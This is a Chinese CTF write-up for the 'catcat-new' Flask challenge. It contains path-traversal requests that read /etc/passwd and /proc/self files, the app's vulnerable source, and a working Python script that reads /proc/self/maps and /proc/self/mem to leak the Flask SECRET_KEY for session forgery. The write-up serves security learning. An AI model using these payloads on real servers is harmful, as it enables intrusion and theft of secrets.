FlaskSession伪造-攻防世界-catcat-new

打开环境,几个关于猫的图片列表,随便点进去一个看看观察url变化。

发现多了个file参数。尝试目录穿越,多试几次,可以看到/etc/passwd。

参考之前的文章,查看当前的进程/proc/self/cmdline,出现python app.py源码文件。继续尝试得到源码

格式化后如下:

python 复制代码
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

# Flag初始化
flag = ""

# Flask应用初始化
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)

# 设置SECRET_KEY(每次启动随机生成)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

# 读取并删除flag文件
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    """首页:列出details目录中的所有文件"""
    detailtxt = os.listdir('./details/')
    cats_list = []

    for i in detailtxt:
        # 提取文件名(去掉扩展名)
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    """文件查看接口:存在路径遍历漏洞"""
    # 漏洞点:未过滤用户输入的file参数
    filename = "./details/" + request.args.get('file', "")

    # 获取分页参数
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")

    file_param = request.args.get('file', "")
    name = ""
    if '.' in file_param:
        name = file_param[:file_param.index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    """管理员接口:验证session后返回flag"""
    if session.get('admin') == 1:
        # 直接返回flag
        return flag
    else:
        # 设置admin为0
        session['admin'] = 0
        return "NoNoNo"


if __name__ == '__main__':
    # 启动Flask应用
    app.run(host='0.0.0.0', debug=False, port=5637)

代码比较好理解,就是说路由/admin需要带的session里面让admin=1就行。但是现在admin=0,需要session伪造。伪造的难点就在于我们必须要知道SECRET_KEY,这个题的SECRET_KEY是个随机数+一段固定字符*abcdefgh。

python 复制代码
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

这就不好整了,折腾了好久,未果。。。

观察到代码/info路由里面有个start和end参数,还有个cat方法,读取一下

格式化之后如下:

python 复制代码
# -*- coding: utf-8 -*-
"""
@Time : 2026/1/4 20:35
@Auth : kaikai
@File :cat.py
@IDE :PyCharm
"""

import os
import sys
import getopt


def cat(filename: str, start: int = 0, end: int = 0) -> bytes:
    """
    读取文件的指定范围内容

    Args:
        filename: 文件名
        start: 起始位置(字节)
        end: 结束位置(字节,0表示到文件末尾)

    Returns:
        文件内容的字节数据或错误信息的字节数据
    """
    data = b''

    # 参数类型转换
    try:
        start = int(start)
        end = int(end)
    except (ValueError, TypeError):
        start = 0
        end = 0

    # 验证文件可读性
    if not filename or not os.access(filename, os.R_OK):
        error_msg = f"File `{filename}` does not exist or cannot be read"
        return error_msg.encode()

    try:
        with open(filename, "rb") as f:
            if start >= 0:
                f.seek(start)

                if end > start and end != 0:
                    data = f.read(end - start)
                else:
                    data = f.read()
            else:
                data = f.read()

    except Exception as e:
        error_msg = f"Error reading file `{filename}`: {str(e)}"
        return error_msg.encode()

    return data


def print_help():
    """打印帮助信息"""
    print("[*] Help")
    print("-f --file\tFile name")
    print("-s --start\tStart position")
    print("-e --end\tEnd position")
    print()
    print("[*] Examples of reading /etc/passwd:")
    print("python3 cat.py -f /etc/passwd")
    print("python3 cat.py --file /etc/passwd")
    print("python3 cat.py -f /etc/passwd -s 1")
    print("python3 cat.py -f /etc/passwd -e 5")
    print("python3 cat.py -f /etc/passwd -s 1 -e 5")


def main():
    """主函数"""
    try:
        opts, args = getopt.getopt(
            sys.argv[1:],
            '-h-f:-s:-e:',
            ['help', 'file=', 'start=', 'end=']
        )
    except getopt.GetoptError as e:
        print(f"Error: {e}")
        print_help()
        sys.exit(1)

    filename = ""
    start = 0
    end = 0

    for opt_name, opt_value in opts:
        if opt_name in ('-h', '--help'):
            print_help()
            sys.exit(0)

        elif opt_name in ('-f', '--file'):
            filename = opt_value

        elif opt_name in ('-s', '--start'):
            start = opt_value

        elif opt_name in ('-e', '--end'):
            end = opt_value

    if filename:
        try:
            result = cat(filename, start, end)
            print(result.decode('utf-8', errors='replace'))
        except Exception as e:
            print(f"Error: {e}")
    else:
        print("No file specified")
        print_help()
        sys.exit(1)


if __name__ == '__main__':
    main()

意思就是给我一个文件,再给一个start和一个end,就可以读取他们之间的内容。但是这跟SECRET_KEY有啥关系呢???

无奈之下,参考WP,发现果然没有一点儿信息是多余的,这俩参数能派上大用场。

扩展:python存储对象的位置在堆上。app是个Flask对象,而SECRET_KEY在app.config['SECRET_KEY'],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值。可参考https://www.jianshu.com/p/3fba2e5b1e17。看一下这个/proc/self/maps

啥也看不懂。直接贴上大佬的解析代码:

python 复制代码
# coding=utf-8

import requests
import re


# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
url = "http://61.147.171.35:52615/"
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)

        # 设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

就是根据格式找固定的区间,然后再根据起始位置读取/proc/self/mem,再正则匹配后面的一串固定字符,成功拿到SECRET_KEY。

有可key,就可以进行伪造了,具体可参考前面的文章

https://blog.csdn.net/weixin_35720396/article/details/155484564?spm=1011.2415.3001.5331

好奇这个题,真的有人不看WP可以做出来吗?

相关推荐
马达加斯加D2 天前
Web框架 --- .NET中的Options Pattern
前端·flask·.net
qq_13948428822 天前
基于Python网易云排行榜数据分析系统设计与实现
大数据·hadoop·python·django·flask
蓝之白2 天前
Web14-game1
web安全·ctf
print_Hyon3 天前
【CTF-WEB】原型链污染及Pug模板注入
ctf
梦茹^_^3 天前
Flsk框架(自学)2
后端·python·flask·web框架
print_Hyon3 天前
【CTF-APK】基于TRAE和jadx的MCP实现AI逆向分析APK文件
ctf
print_Hyon3 天前
【CTF-WEB】在线Lua执行器漏洞
lua·ctf
蓝之白3 天前
Vulnhub_DC-8
web安全·ctf·网络攻防·靶场渗透
蓝之白3 天前
流量分析_SnakeBackdoor-2
web安全·ctf·流量分析